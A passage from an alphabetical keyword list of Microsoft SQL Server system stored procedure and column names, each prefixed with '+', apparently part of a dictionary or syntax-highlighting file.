+SPECIFIC_CATALOG +SPECIFIC_NAME +SPECIFIC_SCHEMA +sp_enableagentoffload +sp_enable_heterogeneous_subscription +sp_enable_sql_debug +sp_enclave_send_keys +sp_enumcustomresolvers +sp_enumdsn +sp_enumeratependingschemachanges +sp_enumerrorlogs +sp_enumfullsubscribers +sp_enumoledbdatasources +sp_enum_oledb_providers +sp_estimate_data_compression_savings +sp_estimated_rowsize_reduction_for_vardecimal +sp_execute +sp_execute_external_script +sp_execute_remote +sp_executesql +sp_executesql_metrics +sp_expired_subscription_cleanup +sp_fido_build_basic_histogram +sp_fido_build_histogram +sp_fido_get_glm_server_update_lock +sp_fido_glms_execute_command +sp_fido_glms_set_storage_containers +sp_fido_glms_unregister_appname +sp_fido_indexstore_update_topology +sp_fido_remove_retention_policy +sp_fido_set_ddl_step +sp_fido_set_retention_policy +sp_fido_set_tran +sp_fido_setup_endpoints +sp_fido_setup_glms +sp_fido_tran_abort +sp_fido_tran_begin +sp_fido_tran_commit +sp_fido_tran_get_state +sp_fido_tran_set_token +sp_filestream_force_garbage_collection +sp_filestream_recalculate_container_size +sp_firstonly_bitmap +sp_fkeys +sp_flush_commit_table +sp_flush_commit_table_on_demand +sp_flush_CT_internal_table_on_demand +sp_flush_ledger_transactions_table +sp_flush_log +sp_force_slog_truncation +sp_foreignkeys +sp_foreign_keys_rowset +sp_foreign_keys_rowset2 +sp_foreign_keys_rowset3 +sp_foreign_keys_rowset_rmt +sp_fulltext_catalog +sp_fulltext_column +sp_fulltext_database +sp_fulltext_getdata +sp_fulltext_keymappings +sp_fulltext_load_thesaurus_file +sp_fulltext_pendingchanges +sp_fulltext_recycle_crawl_log +sp_fulltext_semantic_register_language_statistics_db +sp_fulltext_semantic_unregister_language_statistics_db +sp_fulltext_service +sp_fulltext_table +sp_FuzzyLookupTableMaintenanceInstall +sp_FuzzyLookupTableMaintenanceInvoke +sp_FuzzyLookupTableMaintenanceUninstall +sp_generate_agent_parameter +sp_generate_database_ledger_digest +sp_generatefilters +sp_generate_openrowset_statistics_props +sp_getagentparameterlist +sp_getapplock +sp_getbindtoken +sp_get_database_scoped_credential +sp_getdefaultdatatypemapping +sp_get_distributor +sp_getdistributorplatform +sp_get_dmv_collector_views +sp_get_fido_lock +sp_get_fido_lock_batch +sp_get_file_splits +sp_get_job_status_mergesubscription_agent +sp_getmergedeletetype +sp_get_mergepublishedarticleproperties +sp_get_migration_vlf_state +sp_get_openrowset_statistics_additional_props +sp_get_openrowset_statistics_cardinality +sp_get_Oracle_publisher_metadata +sp_getProcessorUsage +sp_getpublisherlink +sp_get_query_template +sp_getqueuedarticlesynctraninfo +sp_getqueuedrows +sp_get_redirected_publisher +sp_getschemalock +sp_getsqlqueueversion +sp_get_streaming_job +sp_getsubscriptiondtspackagename +sp_getsubscription_status_hsnapshot +sp_gettopologyinfo +sp_get_total_openrowset_statistics_count +sp_getVolumeFreeSpace +sp_grantdbaccess +sp_grantlogin +sp_grant_publication_access +sp_help +sp_help_agent_default +sp_help_agent_parameter +sp_help_agent_profile +sp_helpallowmerge_publication +sp_helparticle +sp_helparticlecolumns +sp_helparticledts +sp_helpconstraint +sp_helpdatatypemap +sp_help_datatype_mapping +sp_helpdb +sp_helpdbfixedrole +sp_helpdevice +sp_helpdistpublisher +sp_helpdistributiondb +sp_helpdistributor +sp_helpdistributor_properties +sp_helpdynamicsnapshot_job +sp_helpextendedproc +sp_helpfile +sp_helpfilegroup +sp_help_fulltext_catalog_components +sp_help_fulltext_catalogs +sp_help_fulltext_catalogs_cursor +sp_help_fulltext_columns +sp_help_fulltext_columns_cursor +sp_help_fulltext_system_components +sp_help_fulltext_tables +sp_help_fulltext_tables_cursor +sp_helpindex +sp_helplanguage +sp_helplinkedsrvlogin +sp_helplogins +sp_helplogreader_agent +sp_help_log_shipping_alert_job +sp_help_log_shipping_monitor +sp_help_log_shipping_monitor_primary +sp_help_log_shipping_monitor_secondary +sp_help_log_shipping_primary_database +sp_help_log_shipping_primary_secondary +sp_help_log_shipping_secondary_database +sp_help_log_shipping_secondary_primary +sp_helpmergealternatepublisher +sp_helpmergearticle +sp_helpmergearticlecolumn +sp_helpmergearticleconflicts +sp_helpmergeconflictrows +sp_helpmergedeleteconflictrows +sp_helpmergefilter +sp_helpmergelogfiles +sp_helpmergelogfileswithdata +sp_helpmergelogsettings +sp_helpmergepartition +sp_helpmergepublication +sp_helpmergepullsubscription +sp_helpmergesubscription +sp_helpntgroup +sp_help_peerconflictdetection +sp_helppeerrequests +sp_helppeerresponses +sp_helppublication +sp_help_publication_access +sp_helppublication_snapshot +sp_helppublicationsync +sp_helppullsubscription +sp_helpqreader_agent +sp_helpremotelogin +sp_helpreplfailovermode +sp_helpreplicationdb +sp_helpreplicationdboption +sp_helpreplicationoption +sp_helprole +sp_helprolemember +sp_helprotect +sp_helpserver +sp_helpsort +sp_help_spatial_geography_histogram +sp_help_spatial_geography_index +sp_help_spatial_geography_index_xml +sp_help_spatial_geometry_histogram +sp_help_spatial_geometry_index +sp_help_spatial_geometry_index_xml +sp_helpsrvrole +sp_helpsrvrolemember +sp_helpstats +sp_helpsubscriberinfo +sp_helpsubscription +sp_helpsubscriptionerrors +sp_helpsubscription_properties +sp_helptext +sp_helptracertokenhistory +sp_helptracertokens +sp_helptrigger +sp_helpuser +sp_helpxactsetjob +sp_http_generate_wsdl_complex +sp_http_generate_wsdl_defaultcomplexorsimple +sp_http_generate_wsdl_defaultsimpleorcomplex +sp_http_generate_wsdl_simple +spid +SPID +sp_identitycolumnforreplication +sp_IHadd_sync_command +sp_IHarticlecolumn +sp_IHget_loopback_detection +sp_IH_LR_GetCacheData +sp_IHScriptIdxFile +sp_IHScriptSchFile +sp_IHValidateRowFilter +sp_IHXactSetJob +sp_indexcolumns_managed +sp_indexes +sp_indexes_100_rowset +sp_indexes_100_rowset2 +sp_indexes_90_rowset +sp_indexes_90_rowset2 +sp_indexes_90_rowset_rmt +sp_indexes_managed +sp_indexes_rowset +sp_indexes_rowset2 +sp_indexes_rowset_rmt +sp_indexoption +spins +spins_per_collision +sp_internal_alter_nt_job_limits +sp_invalidate_textptr +sp_is_columnstore_column_dictionary_enabled +sp_is_makegeneration_needed +sp_ivindexhasnullcols +sp_kill_filestream_non_transacted_handles +sp_kill_oldest_transaction_on_secondary +sp_ldw_apply_file_updates_for_ext_table +sp_ldw_get_file_updates_for_ext_table +sp_ldw_insert_container_and_partition_for_ext_table +sp_ldw_internal_tables_clean_up +sp_ldw_normalize_ext_tab_name +sp_ldw_refresh_internal_table_on_distribution +sp_ldw_select_entries_from_internal_table +sp_ldw_update_stats_for_ext_table +sp_lightweightmergemetadataretentioncleanup +sp_linkedservers +sp_linkedservers_rowset +sp_linkedservers_rowset2 +sp_link_publication +sp_lock +sp_logshippinginstallmetadata +sp_lookupcustomresolver +sp_mapdown_bitmap +sp_markpendingschemachange +sp_marksubscriptionvalidation +sp_memory_leak_detection +sp_memory_optimized_cs_migration +sp_mergearticlecolumn +sp_mergecleanupmetadata +sp_mergedummyupdate +sp_mergemetadataretentioncleanup +sp_mergesubscription_cleanup +sp_mergesubscriptionsummary +sp_metadata_sync_connector_add +sp_metadata_sync_connector_drop +sp_metadata_sync_connectors_status +sp_migrate_user_to_contained +sp_monitor +sp_MSacquireHeadofQueueLock +sp_MSacquireserverresourcefordynamicsnapshot +sp_MSacquireSlotLock +sp_MSacquiresnapshotdeliverysessionlock +sp_MSactivate_auto_sub +sp_MSactivatelogbasedarticleobject +sp_MSactivateprocedureexecutionarticleobject +sp_MSadd_anonymous_agent +sp_MSaddanonymousreplica +sp_MSadd_article +sp_MSadd_compensating_cmd +sp_MSadd_distribution_agent +sp_MSadd_distribution_history +sp_MSadddynamicsnapshotjobatdistributor +sp_MSadd_dynamic_snapshot_location +sp_MSadd_filteringcolumn +sp_MSaddguidcolumn +sp_MSaddguidindex +sp_MSaddinitialarticle +sp_MSaddinitialpublication +sp_MSaddinitialschemaarticle +sp_MSaddinitialsubscription +sp_MSaddlightweightmergearticle +sp_MSadd_logreader_agent +sp_MSadd_logreader_history +sp_MSadd_log_shipping_error_detail +sp_MSadd_log_shipping_history_detail +sp_MSadd_merge_agent +sp_MSadd_merge_anonymous_agent +sp_MSaddmergedynamicsnapshotjob +sp_MSadd_merge_history +sp_MSadd_merge_history90 +sp_MSadd_mergereplcommand +sp_MSadd_mergesubentry_indistdb +sp_MSadd_merge_subscription +sp_MSaddmergetriggers +sp_MSaddmergetriggers_from_template +sp_MSaddmergetriggers_internal +sp_MSaddpeerlsn +sp_MSadd_publication +sp_MSadd_qreader_agent +sp_MSadd_qreader_history +sp_MSadd_repl_alert +sp_MSadd_replcmds_mcit +sp_MSadd_repl_command +sp_MSadd_repl_commands27hp +sp_MSadd_repl_error +sp_MSadd_replmergealert +sp_MSadd_snapshot_agent +sp_MSadd_snapshot_history +sp_MSadd_subscriber_info +sp_MSadd_subscriber_schedule +sp_MSadd_subscription +sp_MSadd_subscription_3rd +sp_MSaddsubscriptionarticles +sp_MSadd_tracer_history +sp_MSadd_tracer_token +sp_MSadjust_pub_identity +sp_MSagent_retry_stethoscope +sp_MSagent_stethoscope +sp_MSallocate_new_identity_range +sp_MSalreadyhavegeneration +sp_MSanonymous_status +sp_MSarticlecleanup +sp_MSbrowsesnapshotfolder +sp_MScache_agent_parameter +sp_MScdc_capture_job +sp_MScdc_cleanup_job +sp_MScdc_db_ddl_event +sp_MScdc_ddl_event +sp_MScdc_logddl +sp_MSchange_article +sp_MSchangearticleresolver +sp_MSchange_distribution_agent_properties +sp_MSchangedynamicsnapshotjobatdistributor +sp_MSchangedynsnaplocationatdistributor +sp_MSchange_logreader_agent_properties +sp_MSchange_merge_agent_properties +sp_MSchange_mergearticle +sp_MSchange_mergepublication +sp_MSchangeobjectowner +sp_MSchange_originatorid +sp_MSchange_priority +sp_MSchange_publication +sp_MSchange_retention +sp_MSchange_retention_period_unit +sp_MSchange_snapshot_agent_properties +sp_MSchange_subscription_dts_info +sp_MScheck_agent_instance +sp_MScheck_dropobject +sp_MScheckexistsgeneration +sp_MScheckexistsrecguid +sp_MScheckfailedprevioussync +sp_MScheckidentityrange +sp_MScheckIsPubOfSub +sp_MScheck_Jet_Subscriber +sp_MScheck_logicalrecord_metadatamatch +sp_MScheck_merge_subscription_count +sp_MScheck_pub_identity +sp_MScheck_pull_access +sp_MSchecksharedagentforpublication +sp_MScheck_snapshot_agent +sp_MSchecksnapshotstatus +sp_MScheck_subscription +sp_MScheck_subscription_expiry +sp_MScheck_subscription_partition +sp_MScheck_tran_retention +sp_MScleanup_agent_entry +sp_MScleanup_conflict +sp_MScleanupdynamicsnapshotfolder +sp_MScleanupdynsnapshotvws +sp_MSCleanupForPullReinit +sp_MScleanupmergepublisher +sp_MScleanupmergepublisher_internal +sp_MScleanup_publication_ADinfo +sp_MScleanup_subscription_distside_entry +sp_MSclear_dynamic_snapshot_location +sp_MSclearresetpartialsnapshotprogressbit +sp_MScomputelastsentgen +sp_MScomputemergearticlescreationorder +sp_MScomputemergeunresolvedrefs +sp_MSconflicttableexists +sp_MScreate_all_article_repl_views +sp_MScreate_article_repl_views +sp_MScreatedisabledmltrigger +sp_MScreate_dist_tables +sp_MScreatedummygeneration +sp_MScreateglobalreplica +sp_MScreatelightweightinsertproc +sp_MScreatelightweightmultipurposeproc +sp_MScreatelightweightprocstriggersconstraints +sp_MScreatelightweightupdateproc +sp_MScreate_logical_record_views +sp_MScreatemergedynamicsnapshot +sp_MScreateretry +sp_MScreate_sub_tables +sp_MScreate_tempgenhistorytable +sp_MSdbuseraccess +sp_MSdbuserpriv +sp_MSdefer_check +sp_MSdeletefoldercontents +sp_MSdeletemetadataactionrequest +sp_MSdeletepeerconflictrow +sp_MSdeleteretry +sp_MSdelete_tracer_history +sp_MSdeletetranconflictrow +sp_MSdelgenzero +sp_MSdelrow +sp_MSdelrowsbatch +sp_MSdelrowsbatch_downloadonly +sp_MSdelsubrows +sp_MSdelsubrowsbatch +sp_MSdependencies +sp_MSdetectinvalidpeerconfiguration +sp_MSdetectinvalidpeersubscription +sp_MSdetect_nonlogged_shutdown +sp_MSdist_activate_auto_sub +sp_MSdist_adjust_identity +sp_MSdistpublisher_cleanup +sp_MSdistribution_counters +sp_MSdistributoravailable +sp_MSdodatabasesnapshotinitiation +sp_MSdopartialdatabasesnapshotinitiation +sp_MSdrop_6x_publication +sp_MSdrop_6x_replication_agent +sp_MSdrop_anonymous_entry +sp_MSdrop_article +sp_MSdroparticleconstraints +sp_MSdroparticletombstones +sp_MSdropconstraints +sp_MSdrop_distribution_agent +sp_MSdrop_distribution_agentid_dbowner_proxy +sp_MSdrop_dynamic_snapshot_agent +sp_MSdropdynsnapshotvws +sp_MSdropfkreferencingarticle +sp_MSdrop_logreader_agent +sp_MSdrop_merge_agent +sp_MSdropmergearticle +sp_MSdropmergedynamicsnapshotjob +sp_MSdrop_merge_subscription +sp_MSdropobsoletearticle +sp_MSdrop_publication +sp_MSdrop_qreader_history +sp_MSdropretry +sp_MSdrop_snapshot_agent +sp_MSdrop_snapshot_dirs +sp_MSdrop_subscriber_info +sp_MSdrop_subscription +sp_MSdrop_subscription_3rd +sp_MSdrop_tempgenhistorytable +sp_MSdroptemptable +sp_MSdummyupdate +sp_MSdummyupdate90 +sp_MSdummyupdatelightweight +sp_MSdummyupdate_logicalrecord +sp_MSdynamicsnapshotjobexistsatdistributor +sp_MSenable_publication_for_het_sub +sp_MSensure_single_instance +sp_MSenumallpublications +sp_MSenumallsubscriptions +sp_MSenumarticleslightweight +sp_MSenumchanges +sp_MSenumchanges_belongtopartition +sp_MSenumchangesdirect +sp_MSenumchangeslightweight +sp_MSenumchanges_notbelongtopartition +sp_MSenumcolumns +sp_MSenumcolumnslightweight +sp_MSenumdeletes_forpartition +sp_MSenumdeleteslightweight +sp_MSenumdeletesmetadata +sp_MSenum_distribution +sp_MSenumdistributionagentproperties +sp_MSenum_distribution_s +sp_MSenum_distribution_sd +sp_MSenumerate_PAL +sp_MSenumgenerations +sp_MSenumgenerations90 +sp_MSenum_logicalrecord_changes +sp_MSenum_logreader +sp_MSenum_logreader_s +sp_MSenum_logreader_sd +sp_MSenum_merge +sp_MSenum_merge_agent_properties +sp_MSenum_merge_s +sp_MSenum_merge_sd +sp_MSenum_merge_subscriptions +sp_MSenum_merge_subscriptions_90_publication +sp_MSenum_merge_subscriptions_90_publisher +sp_MSenum_metadataaction_requests +sp_MSenumpartialchanges +sp_MSenumpartialchangesdirect +sp_MSenumpartialdeletes +sp_MSenumpubreferences +sp_MSenum_qreader +sp_MSenum_qreader_s +sp_MSenum_qreader_sd +sp_MSenumreplicas +sp_MSenumreplicas90 +sp_MSenum_replication_agents +sp_MSenum_replication_job +sp_MSenum_replqueues +sp_MSenum_replsqlqueues +sp_MSenumretries +sp_MSenumschemachange +sp_MSenum_snapshot +sp_MSenum_snapshot_s +sp_MSenum_snapshot_sd +sp_MSenum_subscriptions +sp_MSenumsubscriptions +sp_MSenumthirdpartypublicationvendornames +sp_MSestimatemergesnapshotworkload +sp_MSestimatesnapshotworkload +sp_MSevalsubscriberinfo +sp_MSevaluate_change_membership_for_all_articles_in_pubid +sp_MSevaluate_change_membership_for_pubid +sp_MSevaluate_change_membership_for_row +sp_MSexecwithlsnoutput +sp_MSfast_delete_trans +sp_MSfetchAdjustidentityrange +sp_MSfetchidentityrange +sp_MSfillupmissingcols +sp_MSfilterclause +sp_MSfix_6x_tasks +sp_MSfixlineageversions +sp_MSFixSubColumnBitmaps +sp_MSfixupbeforeimagetables +sp_MSflush_access_cache +sp_MSforce_drop_distribution_jobs +sp_MSforcereenumeration +sp_MSforeachdb +sp_MSforeachtable +sp_MSforeach_worker +sp_MSgenerateexpandproc +sp_MSget_agent_names +sp_MSgetagentoffloadinfo +sp_MSgetalertinfo +sp_MSgetalternaterecgens +sp_MSgetarticlereinitvalue +sp_MSget_attach_state +sp_MSgetchangecount +sp_MSgetconflictinsertproc +sp_MSgetconflicttablename +sp_MSGetCurrentPrincipal +sp_MSgetdatametadatabatch +sp_MSgetdbversion +sp_MSget_DDL_after_regular_snapshot +sp_MSgetdynamicsnapshotapplock +sp_MSget_dynamic_snapshot_location +sp_MSgetdynsnapvalidationtoken +sp_MSgetgenstatus4rows +sp_MSget_identity_range_info +sp_MSgetisvalidwindowsloginfromdistributor +sp_MSget_jobstate +sp_MSgetlastrecgen +sp_MSgetlastsentgen +sp_MSgetlastsentrecgens +sp_MSget_last_transaction +sp_MSgetlastupdatedtime +sp_MSget_latest_peerlsn +sp_MSgetlightweightmetadatabatch +sp_MSget_load_hint +sp_MSget_logicalrecord_lineage +sp_MSget_log_shipping_new_sessionid +sp_MSgetmakegenerationapplock +sp_MSgetmakegenerationapplock_90 +sp_MSgetmaxbcpgen +sp_MSgetmaxsnapshottimestamp +sp_MSget_max_used_identity +sp_MSgetmergeadminapplock +sp_MSgetmetadatabatch +sp_MSgetmetadatabatch90 +sp_MSgetmetadatabatch90new +sp_MSgetmetadata_changedlogicalrecordmembers +sp_MSget_min_seqno +sp_MSget_MSmerge_rowtrack_colinfo +sp_MSget_new_xact_seqno +sp_MSget_oledbinfo +sp_MSgetonerow +sp_MSgetonerowlightweight +sp_MSget_partitionid_eval_proc +sp_MSgetpeerconflictrow +sp_MSgetpeerlsns +sp_MSgetpeertopeercommands +sp_MSgetpeerwinnerrow +sp_MSgetpubinfo +sp_MSget_publication_from_taskname +sp_MSget_publisher_rpc +sp_MSget_repl_cmds_anonymous +sp_MSget_repl_commands +sp_MSget_repl_error +sp_MSgetreplicainfo +sp_MSgetreplicastate +sp_MSgetrowmetadata +sp_MSgetrowmetadatalightweight +sp_MSget_server_portinfo +sp_MSGetServerProperties +sp_MSget_session_statistics +sp_MSgetsetupbelong_cost +sp_MSget_shared_agent +sp_MSget_snapshot_history +sp_MSgetsubscriberinfo +sp_MSget_subscriber_partition_id +sp_MSget_subscription_dts_info +sp_MSget_subscription_guid +sp_MSgetsupportabilitysettings +sp_MSget_synctran_commands +sp_MSgettrancftsrcrow +sp_MSgettranconflictrow +sp_MSget_type_wrapper +sp_MSgetversion +sp_MSgrantconnectreplication +sp_MShaschangeslightweight +sp_MShasdbaccess +sp_MShelp_article +sp_MShelpcolumns +sp_MShelpconflictpublications +sp_MShelpcreatebeforetable +sp_MShelpdestowner +sp_MShelp_distdb +sp_MShelp_distribution_agentid +sp_MShelpdynamicsnapshotjobatdistributor +sp_MShelpfulltextindex +sp_MShelpfulltextscript +sp_MShelp_identity_property +sp_MShelpindex +sp_MShelplogreader_agent +sp_MShelp_logreader_agentid +sp_MShelp_merge_agentid +sp_MShelpmergearticles +sp_MShelpmergeconflictcounts +sp_MShelpmergedynamicsnapshotjob +sp_MShelpmergeidentity +sp_MShelpmergeschemaarticles +sp_MShelpobjectpublications +sp_MShelp_profile +sp_MShelp_profilecache +sp_MShelp_publication +sp_MShelp_repl_agent +sp_MShelp_replication_status +sp_MShelp_replication_table +sp_MShelpreplicationtriggers +sp_MShelp_snapshot_agent +sp_MShelpsnapshot_agent +sp_MShelp_snapshot_agentid +sp_MShelp_subscriber_info +sp_MShelp_subscription +sp_MShelp_subscription_status +sp_MShelpsummarypublication +sp_MShelptracertokenhistory +sp_MShelptracertokens +sp_MShelptranconflictcounts +sp_MShelptype +sp_MShelpvalidationdate +sp_MSIfExistsSubscription +sp_MSindexspace +sp_MSinitdynamicsubscriber +sp_MSinit_publication_access +sp_MSinit_subscription_agent +sp_MSinsertdeleteconflict +sp_MSinserterrorlineage +sp_MSinsertgenerationschemachanges +sp_MSinsertgenhistory +sp_MSinsert_identity +sp_MSinsertlightweightschemachange +sp_MSinsertschemachange +sp_MSinvalidate_snapshot +sp_MSIsContainedAGSession +sp_MSisnonpkukupdateinconflict +sp_MSispeertopeeragent +sp_MSispkupdateinconflict +sp_MSispublicationqueued +sp_MSisreplmergeagent +sp_MSissnapshotitemapplied +sp_MSkilldb +sp_MSlock_auto_sub +sp_MSlock_distribution_agent +sp_MSlocktable +sp_MSloginmappings +sp_MSmakearticleprocs +sp_MSmakebatchinsertproc +sp_MSmakebatchupdateproc +sp_MSmakeconflictinsertproc +sp_MSmakectsview +sp_MSmakedeleteproc +sp_MSmakedynsnapshotvws +sp_MSmakeexpandproc +sp_MSmakegeneration +sp_MSmakeinsertproc +sp_MSmakemetadataselectproc +sp_MSmakeselectproc +sp_MSmakesystableviews +sp_MSmakeupdateproc +sp_MSmap_partitionid_to_generations +sp_MSmarkreinit +sp_MS_marksystemobject +sp_MSmatchkey +sp_MSmerge_alterschemaonly +sp_MSmerge_altertrigger +sp_MSmerge_alterview +sp_MSmerge_ddldispatcher +sp_MSmerge_getgencount +sp_MSmerge_getgencur_public +sp_MSmerge_is_snapshot_required +sp_MSmerge_log_identity_range_allocations +sp_MSmerge_parsegenlist +sp_MSmergesubscribedb +sp_MSmergeupdatelastsyncinfo +sp_MSmerge_upgrade_subscriber +sp_MSneedmergemetadataretentioncleanup +sp_MSNonSQLDDL +sp_MSNonSQLDDLForSchemaDDL +sp_MSobjectprivs +sp_MSpeerapplyresponse +sp_MSpeerapplytopologyinfo +sp_MSpeerconflictdetection_statuscollection_applyresponse +sp_MSpeerconflictdetection_statuscollection_sendresponse +sp_MSpeerconflictdetection_topology_applyresponse +sp_MSpeerdbinfo +sp_MSpeersendresponse +sp_MSpeersendtopologyinfo +sp_MSpeertopeerfwdingexec +sp_MSpostapplyscript_forsubscriberprocs +sp_MSpost_auto_proc +sp_MSprepare_mergearticle +sp_MSprep_exclusive +sp_MSprofile_in_use +sp_MSproxiedmetadata +sp_MSproxiedmetadatabatch +sp_MSproxiedmetadatalightweight +sp_MSpub_adjust_identity +sp_MSpublication_access +sp_MSpublicationcleanup +sp_MSpublicationview +sp_MSquerysubtype +sp_MSquery_syncstates +sp_MSrecordsnapshotdeliveryprogress +sp_MSreenable_check +sp_MSrefresh_anonymous +sp_MSrefresh_publisher_idrange +sp_MSregenerate_mergetriggersprocs +sp_MSregisterdynsnapseqno +sp_MSregistermergesnappubid +sp_MSregistersubscription +sp_MSreinit_failed_subscriptions +sp_MSreinit_hub +sp_MSreinitoverlappingmergepublications +sp_MSreinit_subscription +sp_MSreleasedynamicsnapshotapplock +sp_MSreleasemakegenerationapplock +sp_MSreleasemergeadminapplock +sp_MSreleaseSlotLock +sp_MSreleasesnapshotdeliverysessionlock +sp_MSremove_mergereplcommand +sp_MSremoveoffloadparameter +sp_MSreplagentjobexists +sp_MSrepl_agentstatussummary +sp_MSrepl_backup_complete +sp_MSrepl_backup_start +sp_MSreplcheckoffloadserver +sp_MSreplcheck_permission +sp_MSrepl_check_publisher +sp_MSreplcheck_pull +sp_MSreplcheck_subscribe +sp_MSreplcheck_subscribe_withddladmin +sp_MSreplcopyscriptfile +sp_MSrepl_createdatatypemappings +sp_MSrepl_distributionagentstatussummary +sp_MSrepl_dropdatatypemappings +sp_MSrepl_enumarticlecolumninfo +sp_MSrepl_enumpublications +sp_MSrepl_enumpublishertables +sp_MSrepl_enumsubscriptions +sp_MSrepl_enumtablecolumninfo +sp_MSrepl_FixPALRole +sp_MSrepl_getdistributorinfo +sp_MSrepl_getpkfkrelation +sp_MSrepl_gettype_mappings +sp_MSrepl_helparticlermo +sp_MS_replication_installed +sp_MSrepl_init_backup_lsns +sp_MSrepl_isdbowner +sp_MSrepl_IsLastPubInSharedSubscription +sp_MSrepl_IsUserInAnyPAL +sp_MSrepl_linkedservers_rowset +sp_MSrepl_mergeagentstatussummary +sp_MSrepl_monitor_job_at_failover +sp_MSrepl_PAL_rolecheck +sp_MSrepl_raiserror +sp_MSreplraiserror +sp_MSrepl_reinit_jobsync_table +sp_MSreplremoveuncdir +sp_MSrepl_schema +sp_MSrepl_setNFR +sp_MSrepl_snapshot_helparticlecolumns +sp_MSrepl_snapshot_helppublication +sp_MSrepl_startup +sp_MSrepl_startup_internal +sp_MSrepl_subscription_rowset +sp_MSrepl_testadminconnection +sp_MSrepl_testconnection +sp_MSreplupdateschema +sp_MSrequestreenumeration +sp_MSrequestreenumeration_lightweight +sp_MSreset_attach_state +sp_MSreset_queued_reinit +sp_MSresetsnapshotdeliveryprogress +sp_MSreset_subscription +sp_MSreset_subscription_seqno +sp_MSreset_synctran_bit +sp_MSreset_transaction +sp_MSrestoresavedforeignkeys +sp_MSretrieve_publication_attributes +sp_MSscript_article_view +sp_MSscriptcustomdelproc +sp_MSscriptcustominsproc +sp_MSscriptcustomupdproc +sp_MSscriptdatabase +sp_MSscriptdb_worker +sp_MSscript_dri +sp_MSscriptforeignkeyrestore +sp_MSscript_pub_upd_trig +sp_MSscriptsubscriberprocs +sp_MSscript_sync_del_proc +sp_MSscript_sync_del_trig +sp_MSscript_sync_ins_proc +sp_MSscript_sync_ins_trig +sp_MSscript_sync_upd_proc +sp_MSscript_sync_upd_trig +sp_MSscriptviewproc +sp_MSsendtosqlqueue +sp_MSsetaccesslist +sp_MSsetalertinfo +sp_MSsetartprocs +sp_MSsetbit +sp_MSsetconflictscript +sp_MSsetconflicttable +sp_MSsetcontext_bypasswholeddleventbit +sp_MSsetcontext_replagent +sp_MSset_dynamic_filter_options +sp_MSsetgentozero +sp_MSsetlastrecgen +sp_MSsetlastsentgen +sp_MSset_logicalrecord_metadata +sp_MSset_new_identity_range +sp_MSset_oledb_prop +sp_MSsetreplicainfo +sp_MSsetreplicaschemaversion +sp_MSsetreplicastatus +sp_MSset_repl_serveroptions +sp_MSsetrowmetadata +sp_MSSetServerProperties +sp_MSset_snapshot_xact_seqno +sp_MSset_sub_guid +sp_MSsetsubscriberinfo +sp_MSset_subscription_properties +sp_MSsettopology +sp_MSsetupbelongs +sp_MSsetup_identity_range +sp_MSsetupnosyncsubwithlsnatdist +sp_MSsetupnosyncsubwithlsnatdist_cleanup +sp_MSsetupnosyncsubwithlsnatdist_helper +sp_MSsetup_partition_groups +sp_MSsetup_use_partition_groups +sp_MSSharedFixedDisk +sp_MSSQLDMO70_version +sp_MSSQLDMO80_version +sp_MSSQLDMO90_version +sp_MSSQLOLE65_version +sp_MSSQLOLE_version +sp_MSstartdistribution_agent +sp_MSstartmerge_agent +sp_MSstartsnapshot_agent +sp_MSstopdistribution_agent +sp_MSstopmerge_agent +sp_MSstopsnapshot_agent +sp_MSsub_check_identity +sp_MSsubscription_status +sp_MSsubscriptionvalidated +sp_MSsub_set_identity +sp_MStablechecks +sp_MStablekeys +sp_MStablerefs +sp_MStablespace +sp_MStestbit +sp_MStran_ddlrepl +sp_MStran_is_snapshot_required +sp_MStrypurgingoldsnapshotdeliveryprogress +sp_MSuniquename +sp_MSunmarkifneeded +sp_MSunmarkreplinfo +sp_MSunmarkschemaobject +sp_MSunregistersubscription +sp_MSupdate_agenttype_default +sp_MSupdatecachedpeerlsn +sp_MSupdategenerations_afterbcp +sp_MSupdategenhistory +sp_MSupdateinitiallightweightsubscription +sp_MSupdatelastsyncinfo +sp_MSupdatepeerlsn +sp_MSupdaterecgen +sp_MSupdatereplicastate +sp_MSupdate_singlelogicalrecordmetadata +sp_MSupdate_subscriber_info +sp_MSupdate_subscriber_schedule +sp_MSupdate_subscriber_tracer_history +sp_MSupdate_subscription +sp_MSupdatesysmergearticles +sp_MSupdate_tracer_history +sp_MSuplineageversion +sp_MSuploadsupportabilitydata +sp_MSuselightweightreplication +sp_MSvalidatearticle +sp_MSvalidate_dest_recgen +sp_MSvalidate_subscription +sp_MSvalidate_wellpartitioned_articles +sp_MSwritemergeperfcounter +sp_new_parallel_nested_tran_id +sp_OACreate +sp_OADestroy +sp_OAGetErrorInfo +sp_OAGetProperty +sp_OAMethod +sp_OASetProperty +sp_OAStop +sp_objectfilegroup +sp_oledb_database +sp_oledb_defdb +sp_oledb_deflang +sp_oledbinfo +sp_oledb_language +sp_oledb_ro_usrname +sp_ORbitmap +sp_password +sp_peerconflictdetection_tableaug +sp_persistent_version_cleanup +sp_pkeys +sp_polybase_authorize +sp_polybase_join_group +sp_polybase_leave_group +sp_polybase_show_objects +sp_PostAgentInfo +sp_posttracertoken +sp_prepare +sp_prepexec +sp_prepexecrpc +sp_primarykeys +sp_primary_keys_rowset +sp_primary_keys_rowset2 +sp_primary_keys_rowset_rmt +sp_procedure_params_100_managed +sp_procedure_params_100_rowset +sp_procedure_params_100_rowset2 +sp_procedure_params_90_rowset +sp_procedure_params_90_rowset2 +sp_procedure_params_managed +sp_procedure_params_rowset +sp_procedure_params_rowset2 +sp_procedures_rowset +sp_procedures_rowset2 +sp_processlogshippingmonitorhistory +sp_processlogshippingmonitorprimary +sp_processlogshippingmonitorsecondary +sp_processlogshippingretentioncleanup +sp_process_memory_leak_record +sp_procoption +sp_prop_oledb_provider +sp_provider_types_100_rowset +sp_provider_types_90_rowset +sp_provider_types_rowset +sp_publicationsummary +sp_publication_validation +sp_publish_database_to_syms +sp_publishdb +sp_publisherproperty +sp_query_store_clear_hints +sp_query_store_consistency_check +sp_query_store_flush_db +sp_query_store_force_plan +sp_query_store_remove_plan +sp_query_store_remove_query +sp_query_store_reset_exec_stats +sp_query_store_set_hints +sp_query_store_unforce_plan +sp_rbpex_exec_cmd +sp_rda_deauthorize_db +sp_rda_get_rpo_duration +sp_rda_reauthorize_db +sp_rda_reconcile_batch +sp_rda_reconcile_columns +sp_rda_reconcile_indexes +sp_rda_set_query_mode +sp_rda_set_rpo_duration +sp_rda_test_connection +sp_readerrorlog +sp_recompile +sp_redirect_publisher +sp_refresh_heterogeneous_publisher +sp_refresh_log_shipping_monitor +sp_refresh_parameter_encryption +sp_refresh_single_snapshot_view +sp_refresh_snapshot_views +sp_refreshsqlmodule +sp_refreshsubscriptions +sp_refreshview +sp_registercustomresolver 